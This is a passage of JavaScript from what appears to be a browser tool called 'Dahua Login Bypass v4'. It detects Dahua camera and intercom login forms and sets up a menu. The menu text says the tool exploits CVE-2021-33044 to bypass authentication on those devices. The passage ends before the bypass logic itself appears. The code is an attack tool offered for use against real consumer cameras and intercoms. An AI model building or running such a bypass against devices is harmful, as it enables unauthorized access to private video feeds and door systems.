let allSelectorSets = [ { user: '#login_user', pass: '#login_psw', login: 'a[btn-for="onLogin"]' }, { user: '#loginUsername-inputEl', pass: '#loginPassword-inputEl', login: '#loginButton' } ]; let pageSelectors = null; for (let i = 0; i < allSelectorSets.length; i++) { let s = allSelectorSets[i]; if (document.querySelector(s.user) && document.querySelector(s.pass) && document.querySelector(s.login)) { pageSelectors = s; break; } } if (!pageSelectors) { if (!confirm("This page was not identified as a Dahua login page. Run Login Bypass script anyway?")) return; }
if (window.bypassLoaded) { alert('Dahua Login Bypass has already been loaded on this page. Please reload the page if you want to try again.'); return; } window.bypassLoaded = true;
let hackMenu = '<div style="margin-bottom: 10px; font-size: 18px;">Dahua Login Bypass v4 ✨</div>'; hackMenu += '<div style="margin-bottom: 10px;">This extension exploits CVE-2021-33044 to bypass authentication in Dahua IP cameras and VTH/VTO (video intercom) devices. ' + 'For other device types (NVR/DVR/XVR, etc), there exists CVE-2021-33045 which cannot be exploited with an ordinary web browser.</div>' + '<div style="margin-bottom: 10px;">These vulnerabilities are likely to be fixed in firmware released after Sept 2021.</div>'; hackMenu += '<div style="margin-bottom: 10px;">Credit for discovering the vulnerabilities: <a style="color:#3367d6" href="https://github.com/mcw0" target="_blank">bashis</a></div>'; hackMenu += '<div>';